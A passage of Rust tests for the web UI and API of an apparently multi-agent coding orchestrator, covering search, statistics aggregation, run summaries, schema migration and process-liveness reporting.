16815 &f,
16816 "20260901-000002-bbbb",
16817 "closed",
16818 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
16819 );
16820 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
16821
16822 let search = |q: &'static str| {
16823 let f = &f;
16824 async move {
16825 f.get(&format!("/api/search?scope=chats&q={q}"))
16826 .await
16827 .json()
16828 }
16829 };
16830
16831 let v = search("PANGOLIN").await;
16832 assert_eq!(v["scope"], "chats");
16833 assert_eq!(v["total"], 1, "{v}");
16834 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
16835 assert_eq!(v["hits"][0]["field"], "title");
16836 assert_eq!(v["unreadable"], 1, "{v}");
16837 let marked: Vec<&str> = v["hits"][0]["snippet"]
16838 .as_array()
16839 .unwrap()
16840 .iter()
16841 .filter(|p| p["hit"] == true)
16842 .map(|p| p["text"].as_str().unwrap())
16843 .collect();
16844 assert_eq!(marked, ["Pangolin"]);
16845
16846 let v = search("zebra").await;
16848 assert_eq!(v["total"], 1, "{v}");
16849 assert_eq!(v["hits"][0]["field"], "agent");
16850 assert_eq!(search("pangolin%20thirty").await["total"], 1);
16852 assert_eq!(search("pangolin%20zebra").await["total"], 0);
16853 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
16855 assert_eq!(search(q).await["total"], 0, "{q}");
16856 }
16857 assert_eq!(search("second").await["hits"][0]["field"], "operator");
16859 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
16861
16862 let v = f.get("/api/search?scope=nope&q=a").await;
16863 assert_eq!(v.status, 400);
16864 assert!(
16865 v.body.contains("scope must be runs, tasks or chats"),
16866 "{}",
16867 v.body
16868 );
16869 }
16870
16871 #[test]
16872 fn a_question_card_links_a_task_id_to_the_task_page() {
16873 let start = APP_JS
16874 .find("function updateAskCard(")
16875 .expect("updateAskCard exists");
16876 let body = &APP_JS[start..];
16877 let body = &body[..body.find("\n}\n").expect("function end")];
16878 assert!(body.contains("question.run_is_task"));
16879 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
16880 assert!(body.contains("`#/runs/${question.run}`"));
16881 assert!(body.contains("\"task\" : \"run\""));
16882 }
16883
16884 #[test]
16885 fn plain_text_message_surfaces_go_through_linkify() {
16886 assert!(APP_JS.contains("function linkify("));
16887 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
16888 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
16889 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
16890 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
16891 assert!(!APP_JS.contains("innerHTML = text"));
16892 }
16893
16894 #[test]
16895 fn implementation_rate_views_keep_independent_samples() {
16896 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
16897 let a = stats::AgentStats {
16898 competitive_entered: competitive_n,
16899 competitive_wins: usize::from(competitive_n > 0),
16900 solo_entered: solo_n,
16901 solo_adopted: 2 * usize::from(solo_n > 0),
16902 ..Default::default()
16903 };
16904 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
16905 for (key, n, numerator) in [
16906 ("competitive_win_rate", competitive_n, a.competitive_wins),
16907 ("solo_adoption_rate", solo_n, a.solo_adopted),
16908 ] {
16909 if n == 0 {
16910 assert!(v[key].is_null());
16911 } else {
16912 assert_eq!(v[key]["denominator"], n);
16913 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
16914 }
16915 }
16916 }
16917 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
16918 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
16919 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
16920 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16921 }
16922
16923 #[test]
16924 fn stats_bars_share_one_id_keyed_plan() {
16925 let start = APP_JS
16926 .find("function statsBarRows(")
16927 .expect("statsBarRows exists");
16928 let body = &APP_JS[start..];
16929 let body = &body[..body.find("\n}\n").expect("function end")];
16930 assert!(body.contains("statsBarPlan(rows)"));
16931 assert!(body.contains("statsAgentTone(row.agent)"));
16932 assert!(!body.contains("candTone(i)"));
16933 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16934 for root in [
16935 "stats-agents-bars",
16936 "stats-solo-bars",
16937 "stats-reviewers-bars",
16938 ] {
16939 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
16940 }
16941 }
16942
16943 #[test]
16944 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
16945 let start = APP_JS
16946 .find("function renderStatsReviewerScatter(")
16947 .expect("renderStatsReviewerScatter exists");
16948 let body = &APP_JS[start..];
16949 let body = &body[..body.find("\n}\n").expect("function end")];
16950 assert!(body.contains("statsScatterPlan(reviewers)"));
16951 assert!(body.contains("statsAgentTone(d.agent)"));
16952 assert!(APP_JS.contains("function statsScatterPlan("));
16953 assert!(
16954 APP_JS.contains("d.submitted < STATS_LOW_N")
16955 || APP_JS.contains("r.submitted < STATS_LOW_N")
16956 );
16957 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
16958 assert!(APP_CSS.contains(".precision-scatter"));
16959 }
16960
16961 #[test]
16962 fn advisor_reflection_is_drawn_as_stacked_segments() {
16963 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
16964 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
16965 let html = include_str!("../assets/ui/index.html");
16966 assert!(html.contains("Approximate"));
16967 for label in ["reflected strongly", "faint", "no proposal"] {
16968 assert!(html.contains(label));
16969 }
16970 let css = include_str!("../assets/ui/app.css");
16971 for c in ["refl-strong", "refl-faint", "refl-absent"] {
16972 assert!(css.contains(&format!(".{c} {{")));
16973 }
16974 }
16975
16976 #[test]
16977 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
16978 assert!(APP_JS.contains("function statsDailyPlan("));
16979 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
16980 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
16981 }
16982
16983 #[test]
16984 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
16985 let start = APP_JS
16986 .find("function scheduleSearch(")
16987 .expect("scheduleSearch exists");
16988 let body = &APP_JS[start..];
16989 let body = &body[..body.find("\n}\n").expect("function end")];
16990 assert!(body.contains("s.seq += 1"));
16991 }
16992
16993 #[tokio::test]
16998 async fn stats_runs_unreadable_matches_health() {
16999 let f = Fixture::start().await;
17000 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17001 let broken = f.runs().join("20260902-140502-bad");
17002 std::fs::create_dir_all(&broken).expect("run dir");
17003 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17004
17005 let stats = f.get("/api/stats").await;
17006 let health = f.get("/api/health").await;
17007
17008 assert_eq!(stats.status, 200);
17009 assert_eq!(stats.json()["totals"]["runs"], 1);
17010 assert_eq!(stats.json()["runs_unreadable"], 1);
17011 assert_eq!(
17012 stats.json()["runs_unreadable"],
17013 health.json()["runs_unreadable"],
17014 "the dashboard and /api/health must never disagree about how many \
17015 runs could not be read"
17016 );
17017 }
17018
17019 #[tokio::test]
17020 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
17021 let f = Fixture::start().await;
17022 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17023 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
17024 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
17025
17026 let totals = &f.get("/api/stats").await.json()["totals"];
17027 assert_eq!(totals["runs"], 3);
17028 assert_eq!(totals["merged"], 1);
17029 assert_eq!(totals["stalled"], 1);
17030 assert_eq!(totals["in_progress"], 1);
17031 assert_eq!(totals["blocked"], 0);
17034 assert_eq!(totals["ready"], 0);
17035 }
17036
17037 #[tokio::test]
17038 async fn stats_advisors_report_proposals_and_reflection() {
17039 use crate::advise::{Advice, AdvisorRecord, Reflection};
17040 use crate::verdict::Proposal;
17041
17042 let f = Fixture::start().await;
17043 let mut state = RunState::new(
17044 PathBuf::from("/repo/magi"),
17045 "main".to_owned(),
17046 "0123456789abcdef".to_owned(),
17047 "task".to_owned(),
17048 Config::default(),
17049 );
17050 state.id = "20260902-140501-a".to_owned();
17051 state.status = RunStatus::Merged;
17052 state.advice = Some(Advice {
17053 records: vec![
17054 AdvisorRecord {
17055 seat: "advisor-1".to_owned(),
17056 agent: "alpha".to_owned(),
17057 proposal: Some(Proposal {
17058 approach: "do it".to_owned(),
17059 key_tradeoff: "speed over memory".to_owned(),
17060 risks: Vec::new(),
17061 touches: Vec::new(),
17062 why_not_naive: "breaks under load".to_owned(),
17063 }),
17064 error: None,
17065 duration_ms: 0,
17066 reflection: Reflection::Strong,
17067 },
17068 AdvisorRecord {
17069 seat: "advisor-2".to_owned(),
17070 agent: "alpha".to_owned(),
17071 proposal: None,
17072 error: Some("timed out".to_owned()),
17073 duration_ms: 0,
17074 reflection: Reflection::Absent,
17075 },
17076 ],
17077 synthesis: Some("blended brief".to_owned()),
17078 });
17079 let dir = f.runs().join(&state.id);
17080 std::fs::create_dir_all(&dir).expect("run dir");
17081 std::fs::write(
17082 dir.join("run.json"),
17083 serde_json::to_string_pretty(&state).expect("serialize run"),
17084 )
17085 .expect("write run.json");
17086
17087 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17089 let alpha = advisors
17090 .as_array()
17091 .expect("an array")
17092 .iter()
17093 .find(|a| a["agent"] == "alpha")
17094 .expect("alpha row");
17095 assert_eq!(alpha["seated"], 2);
17096 assert_eq!(alpha["proposed"], 1);
17097 assert_eq!(alpha["absent"], 1);
17098 assert_eq!(alpha["strong"], 1);
17099 assert_eq!(alpha["faint"], 0);
17100 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17101 }
17102
17103 #[tokio::test]
17104 async fn stats_hides_agents_outside_the_roster_unless_all() {
17105 use crate::run::Candidate;
17106 let repo = TempDir::new().expect("repo dir");
17107 std::fs::write(
17108 repo.path().join("magi.toml"),
17109 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17110 )
17111 .expect("magi.toml");
17112 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17113 let mut state = RunState::new(
17114 PathBuf::from("/repo/magi"),
17115 "main".to_owned(),
17116 "0123456789abcdef".to_owned(),
17117 "task".to_owned(),
17118 Config::default(),
17119 );
17120 state.id = "20260902-140501-a".to_owned();
17121 state.status = RunStatus::Merged;
17122 for (label, agent) in [('A', "keep"), ('B', "retired")] {
17123 let mut c: Candidate = serde_json::from_value(serde_json::json!({
17124 "index": 0, "label": label.to_string(), "agent": agent,
17125 "branch": "b", "worktree": "/w",
17126 }))
17127 .expect("candidate");
17128 c.label = label;
17129 state.candidates.push(c);
17130 }
17131 let dir = f.runs().join(&state.id);
17132 std::fs::create_dir_all(&dir).expect("run dir");
17133 std::fs::write(
17134 dir.join("run.json"),
17135 serde_json::to_string_pretty(&state).expect("serialize run"),
17136 )
17137 .expect("write run.json");
17138
17139 let agents_of = |v: &serde_json::Value| -> Vec<String> {
17140 v["agents"]
17141 .as_array()
17142 .expect("array")
17143 .iter()
17144 .map(|a| a["agent"].as_str().unwrap().to_owned())
17145 .collect()
17146 };
17147 let hidden = f.get("/api/stats").await.json();
17148 assert_eq!(agents_of(&hidden), ["keep"]);
17149 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
17150 assert_eq!(hidden["totals"]["runs"], 1);
17151
17152 let all = f.get("/api/stats?all=true").await.json();
17153 assert_eq!(agents_of(&all).len(), 2);
17154 assert_eq!(all["retired_hidden"], serde_json::json!([]));
17155 let keep_agent = all["agents"]
17157 .as_array()
17158 .unwrap()
17159 .iter()
17160 .find(|a| a["agent"] == "keep")
17161 .unwrap();
17162 assert_eq!(keep_agent["competitive_entered"], 1);
17163 assert_eq!(keep_agent["competitive_wins"], 0);
17164 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
17165 assert_eq!(keep_agent["solo_entered"], 0);
17166 assert_eq!(keep_agent["solo_adopted"], 0);
17167 assert!(keep_agent["solo_adoption_rate"].is_null());
17168 }
17169
17170 #[tokio::test]
17171 async fn stats_release_bumps_split_clean_from_attention() {
17172 use crate::run::ReleaseBump;
17173
17174 let f = Fixture::start().await;
17175
17176 let mut clean = RunState::new(
17177 PathBuf::from("/repo/magi"),
17178 "main".to_owned(),
17179 "0123456789abcdef".to_owned(),
17180 "task".to_owned(),
17181 Config::default(),
17182 );
17183 clean.id = "20260902-140501-a".to_owned();
17184 clean.status = RunStatus::Merged;
17185 clean.release_bump = Some(ReleaseBump {
17186 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
17187 version: Some("1.0.0".to_owned()),
17188 automerge_enabled: true,
17189 merged_directly: false,
17190 local: false,
17191 release: None,
17192 problem: None,
17193 action_required: None,
17194 });
17195
17196 let mut blocked = RunState::new(
17197 PathBuf::from("/repo/magi"),
17198 "main".to_owned(),
17199 "0123456789abcdef".to_owned(),
17200 "task".to_owned(),
17201 Config::default(),
17202 );
17203 blocked.id = "20260902-140502-b".to_owned();
17204 blocked.status = RunStatus::Merged;
17205 blocked.release_bump = Some(ReleaseBump {
17206 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
17207 version: Some("1.0.1".to_owned()),
17208 automerge_enabled: false,
17209 merged_directly: false,
17210 local: false,
17211 release: None,
17212 problem: Some("checks red".to_owned()),
17213 action_required: Some("look at the PR".to_owned()),
17214 });
17215
17216 for state in [&clean, &blocked] {
17217 let dir = f.runs().join(&state.id);
17218 std::fs::create_dir_all(&dir).expect("run dir");
17219 std::fs::write(
17220 dir.join("run.json"),
17221 serde_json::to_string_pretty(state).expect("serialize run"),
17222 )
17223 .expect("write run.json");
17224 }
17225
17226 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
17227 assert_eq!(bumps["merged"], 2);
17228 assert_eq!(bumps["recorded"], 2);
17229 assert_eq!(bumps["pr_opened"], 2);
17230 assert_eq!(bumps["automerge_enabled"], 1);
17231 assert_eq!(bumps["needs_attention"], 1);
17232 assert_eq!(bumps["clean"], 1);
17233 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
17234 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
17235 }
17236
17237 #[tokio::test]
17238 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
17239 let f = Fixture::start().await;
17240 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17241
17242 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
17243 assert_eq!(bumps["merged"], 1);
17244 assert_eq!(bumps["recorded"], 0);
17245 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
17248 assert_eq!(bumps["automerge_rate"], Value::Null);
17251 assert_eq!(bumps["attention_rate"], Value::Null);
17252 }
17253
17254 #[tokio::test]
17255 async fn stats_queue_counts_come_from_the_live_queue() {
17256 let f = Fixture::start().await;
17257 let q = f.queue();
17258 let mut queued = Task::new(
17259 "queued task".to_owned(),
17260 "do it".to_owned(),
17261 PathBuf::from("/repo"),
17262 Source::Human,
17263 );
17264 q.put(&mut queued).expect("put queued");
17265 let mut held = Task::new(
17266 "held task".to_owned(),
17267 "do it later".to_owned(),
17268 PathBuf::from("/repo"),
17269 Source::Human,
17270 );
17271 held.hold_machine(Some("out of attempts".to_owned()));
17272 q.put(&mut held).expect("put held");
17273
17274 let queue = f.get("/api/stats").await.json()["queue"].clone();
17275 assert_eq!(queue["queued"], 1);
17276 assert_eq!(queue["held"], 1);
17277 assert_eq!(queue["running"], 0);
17278 assert_eq!(queue["done"], 0);
17279 assert_eq!(queue["failed"], 0);
17280 assert_eq!(queue["blocked"], 0);
17281 }
17282
17283 #[tokio::test]
17284 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
17285 let f = Fixture::start().await;
17286 let stats = f.get("/api/stats").await;
17287 assert_eq!(stats.status, 200);
17288 assert_eq!(stats.json()["totals"]["runs"], 0);
17289 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
17290 assert_eq!(stats.json()["runs_unreadable"], 0);
17291 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
17292 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
17293 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
17294 assert_eq!(stats.json()["repo"], Value::Null);
17295 }
17296
17297 #[tokio::test]
17298 async fn stats_lists_every_repository_with_runs_recorded() {
17299 let f = Fixture::start().await;
17300 write_run_repo(
17301 &f.runs(),
17302 "20260902-140501-a",
17303 RunStatus::Merged,
17304 "/repos/a",
17305 );
17306 write_run_repo(
17307 &f.runs(),
17308 "20260902-140502-b",
17309 RunStatus::Merged,
17310 "/repos/a",
17311 );
17312 write_run_repo(
17313 &f.runs(),
17314 "20260902-140503-c",
17315 RunStatus::Blocked,
17316 "/repos/b",
17317 );
17318
17319 let stats = f.get("/api/stats").await;
17320 assert_eq!(stats.status, 200);
17321 assert_eq!(stats.json()["totals"]["runs"], 3);
17323 assert_eq!(stats.json()["repo"], Value::Null);
17324
17325 let repos = stats.json()["repos"].clone();
17326 let repos = repos.as_array().unwrap();
17327 assert_eq!(repos.len(), 2);
17328 assert_eq!(repos[0]["repo"], "/repos/a");
17330 assert_eq!(repos[0]["name"], "a");
17331 assert_eq!(repos[0]["runs"], 2);
17332 assert_eq!(repos[1]["repo"], "/repos/b");
17333 assert_eq!(repos[1]["runs"], 1);
17334 }
17335
17336 #[tokio::test]
17337 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
17338 let f = Fixture::start().await;
17339 write_run_repo(
17340 &f.runs(),
17341 "20260902-140501-a",
17342 RunStatus::Merged,
17343 "/repos/a",
17344 );
17345 write_run_repo(
17346 &f.runs(),
17347 "20260902-140502-b",
17348 RunStatus::Blocked,
17349 "/repos/b",
17350 );
17351
17352 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
17353 assert_eq!(stats.status, 200);
17354 assert_eq!(stats.json()["totals"]["runs"], 1);
17355 assert_eq!(stats.json()["totals"]["merged"], 1);
17356 assert_eq!(stats.json()["repo"], "/repos/a");
17357 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
17360 assert_eq!(stats.json()["runs_unreadable"], 0);
17363 }
17364
17365 #[tokio::test]
17366 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
17367 let f = Fixture::start().await;
17368 write_run_repo(
17369 &f.runs(),
17370 "20260902-140501-a",
17371 RunStatus::Merged,
17372 "/repos/a",
17373 );
17374 write_run_repo(
17375 &f.runs(),
17376 "20260902-140502-b",
17377 RunStatus::Merged,
17378 "/repos/b",
17379 );
17380
17381 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
17382 let json = f.get(uri).await.json();
17383 let daily = json["daily"].as_array().expect("daily is an array");
17384 assert_eq!(daily.len(), 30);
17385 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
17386 let mut sorted = dates.clone();
17387 sorted.sort();
17388 assert_eq!(dates, sorted);
17389 for d in daily {
17390 assert_eq!(
17391 d["merged"].as_u64().unwrap()
17392 + d["ready"].as_u64().unwrap()
17393 + d["other"].as_u64().unwrap(),
17394 d["runs"].as_u64().unwrap()
17395 );
17396 }
17397 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
17398 }
17399 }
17400
17401 #[tokio::test]
17402 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
17403 let f = Fixture::start().await;
17404 write_run_repo(
17405 &f.runs(),
17406 "20260902-140501-a",
17407 RunStatus::Merged,
17408 "/repos/a",
17409 );
17410
17411 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
17412 assert_eq!(stats.status, 404);
17413 }
17414
17415 #[tokio::test]
17416 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
17417 let f = Fixture::start().await;
17418 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
17419
17420 let summary = f.get("/api/runs").await.json();
17421 let row = &summary[0];
17422 assert_eq!(row["short"], "a1b2");
17423 assert_eq!(row["status"], "ready");
17424 assert_eq!(row["done"], true);
17425 assert_eq!(row["title"], "Add a web UI");
17426 assert_eq!(row["repo_name"], "magi");
17427 assert_eq!(row["judges"], 3);
17428 assert_eq!(row["winner"], Value::Null);
17429 assert_eq!(row["reviews"], 0);
17430
17431 let detail = f.get("/api/runs/a1b2").await;
17434 assert_eq!(detail.status, 200);
17435 assert_eq!(detail.json()["base_branch"], "main");
17436 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
17437 }
17438
17439 #[tokio::test]
17447 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
17448 let f = Fixture::start().await;
17449
17450 let mut none_run = RunState::new(
17451 PathBuf::from("/repo/magi"),
17452 "main".to_owned(),
17453 "0123456789abcdef".to_owned(),
17454 "Add a web UI".to_owned(),
17455 Config::default(),
17456 );
17457 none_run.id = "20260902-140503-none".to_owned();
17458 none_run.status = RunStatus::Ready;
17459 none_run.merge = Some(crate::run::MergeOutcome {
17460 mode: crate::config::MergeMode::None,
17461 ok: true,
17462 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
17463 empty: false,
17464 });
17465 write_state(&f.runs(), &none_run);
17466
17467 let mut pr_run = RunState::new(
17468 PathBuf::from("/repo/magi"),
17469 "main".to_owned(),
17470 "0123456789abcdef".to_owned(),
17471 "Add a web UI".to_owned(),
17472 Config::default(),
17473 );
17474 pr_run.id = "20260902-140504-prcl".to_owned();
17475 pr_run.status = RunStatus::Ready;
17476 pr_run.merge = Some(crate::run::MergeOutcome {
17477 mode: crate::config::MergeMode::Pr,
17478 ok: false,
17479 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
17480 empty: false,
17481 });
17482 write_state(&f.runs(), &pr_run);
17483
17484 let summary = f.get("/api/runs").await.json();
17485 let rows: std::collections::HashMap<&str, &Value> = summary
17486 .as_array()
17487 .expect("an array")
17488 .iter()
17489 .map(|r| (r["id"].as_str().expect("an id"), r))
17490 .collect();
17491 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
17492 assert_eq!(
17493 rows[none_run.id.as_str()]["unmerged_by_design"],
17494 true,
17495 "a mode-none Ready must be flagged in the list"
17496 );
17497 assert_eq!(
17498 rows[pr_run.id.as_str()]["unmerged_by_design"],
17499 false,
17500 "a Ready reached by a closed pull request is a different case"
17501 );
17502
17503 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
17504 assert_eq!(none_detail["status"], "ready");
17505 assert_eq!(none_detail["unmerged_by_design"], true);
17506
17507 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
17508 assert_eq!(pr_detail["unmerged_by_design"], false);
17509 }
17510
17511 #[tokio::test]
17516 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
17517 let f = Fixture::start().await;
17518 let id = "20260902-140502-bbbb";
17522 let mut state = RunState::new(
17523 PathBuf::from("/repo/magi"),
17524 "main".to_owned(),
17525 "0123456789abcdef".to_owned(),
17526 "Add a web UI".to_owned(),
17527 Config::default(),
17528 );
17529 state.id = id.to_owned();
17530 state.status = RunStatus::Judging;
17531 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
17532 let dir = f.runs().join(id);
17533 std::fs::create_dir_all(&dir).expect("run dir");
17534 std::fs::write(
17535 dir.join("run.json"),
17536 serde_json::to_string_pretty(&state).expect("serialize run"),
17537 )
17538 .expect("write run.json");
17539
17540 let cold = f.get(&format!("/api/runs/{id}")).await.json();
17546 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
17547 assert_eq!(cold["live"], "unknown", "{cold}");
17548
17549 write_daemon(f.home.path(), Timestamp::now());
17552 let warm = f.get(&format!("/api/runs/{id}")).await.json();
17553 assert_eq!(warm["live"], "live", "{warm}");
17554 }
17555
17556 #[test]
17557 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
17558 let home = tempfile::tempdir().expect("temp home");
17559 let runs = home.path().join("runs");
17560 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
17561 let mut state = RunState::new(
17562 PathBuf::from("/repo/magi"),
17563 "main".to_owned(),
17564 "0123456789abcdef".to_owned(),
17565 "Generated review context, not authored task criteria".to_owned(),
17566 Config::default(),
17567 );
17568 state.origin = origin;
17569 state.status = RunStatus::Blocked;
17570 state.driver_exited = false;
17572 state.gate_ran = true;
17573 let expected = serde_json::to_value(&state).expect("serialize current state");
17574 let mut legacy = expected.clone();
17575 legacy["schema"] = serde_json::json!(13);
17576 legacy.as_object_mut().unwrap().remove("task_instruction");
17577 let dir = runs.join(&state.id);
17578 std::fs::create_dir_all(&dir).expect("run dir");
17579 let path = dir.join("run.json");
17580 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
17581 std::fs::write(&path, &body).expect("write legacy run");
17582
17583 for loaded in [
17584 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
17585 read_run(&runs, &state.id).expect("web migration"),
17586 ] {
17587 assert_eq!(loaded.schema, crate::run::SCHEMA);
17588 assert!(loaded.task_instruction.is_none());
17589 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
17590 }
17591 assert_eq!(runs_unreadable(&runs), 0);
17592 assert_eq!(std::fs::read(&path).unwrap(), body);
17593 }
17594 }
17595
17596 #[tokio::test]
17599 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
17600 let f = Fixture::start().await;
17601 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
17602 let mut state = RunState::new(
17603 PathBuf::from("/repo/magi"),
17604 "main".to_owned(),
17605 "0123456789abcdef".to_owned(),
17606 "Add a web UI".to_owned(),
17607 Config::default(),
17608 );
17609 state.id = id.to_owned();
17610 state.origin = origin;
17611 let mut value = serde_json::to_value(&state).expect("serialize run");
17612 if let Some(schema) = schema {
17613 value["schema"] = serde_json::json!(schema);
17614 value.as_object_mut().unwrap().remove("origin");
17615 }
17616 let dir = f.runs().join(id);
17617 std::fs::create_dir_all(&dir).expect("run dir");
17618 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
17619 };
17620 write(
17621 "20260930-092817-ec34",
17622 Some(crate::run::Origin::from_agent_env(
17623 Some(("4a7b".to_owned(), "chat".to_owned())),
17624 None,
17625 )),
17626 None,
17627 );
17628 write("20260930-092817-0ld1", None, Some(12));
17629
17630 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
17631 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
17632 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
17633
17634 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
17635 assert_eq!(
17636 old["origin_label"], "origin unknown (started before origins were recorded)",
17637 "{old}"
17638 );
17639 assert!(old["origin"].is_null(), "{old}");
17640
17641 let list = f.get("/api/runs").await.json();
17642 let labels: Vec<_> = list
17643 .as_array()
17644 .unwrap()
17645 .iter()
17646 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
17647 .collect();
17648 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
17649 }
17650
17651 #[tokio::test]
17658 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
17659 let f = Fixture::start().await;
17660 let id = "20260922-090000-cccc";
17661 let mut state = RunState::new(
17662 PathBuf::from("/repo/magi"),
17663 "main".to_owned(),
17664 "0123456789abcdef".to_owned(),
17665 "Review only".to_owned(),
17666 Config::default(),
17667 );
17668 state.id = id.to_owned();
17669 state.status = RunStatus::Reviewing;
17670 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17671 state.driver_pid = Some(std::process::id());
17677 state.driver_started_at = Some(
17678 crate::proc::process_started_at(std::process::id())
17679 .expect("this test process's own start time must be queryable"),
17680 );
17681 let dir = f.runs().join(id);
17682 std::fs::create_dir_all(&dir).expect("run dir");
17683 std::fs::write(
17684 dir.join("run.json"),
17685 serde_json::to_string_pretty(&state).expect("serialize run"),
17686 )
17687 .expect("write run.json");
17688
17689 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17690 assert_eq!(detail["live"], "live", "{detail}");
17691 }
17692
17693 #[tokio::test]
17699 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
17700 let f = Fixture::start().await;
17701 let id = "20260922-090100-dddd";
17702 let mut state = RunState::new(
17703 PathBuf::from("/repo/magi"),
17704 "main".to_owned(),
17705 "0123456789abcdef".to_owned(),
17706 "Review only".to_owned(),
17707 Config::default(),
17708 );
17709 state.id = id.to_owned();
17710 state.status = RunStatus::Reviewing;
17711 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17712 state.driver_pid = Some(std::process::id());
17717 state.driver_started_at = Some("1".to_owned());
17718 let dir = f.runs().join(id);
17719 std::fs::create_dir_all(&dir).expect("run dir");
17720 std::fs::write(
17721 dir.join("run.json"),
17722 serde_json::to_string_pretty(&state).expect("serialize run"),
17723 )
17724 .expect("write run.json");
17725
17726 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17727 assert_eq!(detail["live"], "dead", "{detail}");
17728 }
17729
17730 #[test]
17734 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
17735 let mk = |id: &str, pid: Option<u32>| {
17736 let mut s = RunState::new(
17737 PathBuf::from("/repo/magi"),
17738 "main".to_owned(),
17739 "0123456789abcdef".to_owned(),
17740 "Add a web UI".to_owned(),
17741 Config::default(),
17742 );
17743 s.id = id.to_owned();
17744 s.driver_pid = pid;
17745 s.driver_started_at = Some("1790000000".to_owned());
17746 s
17747 };
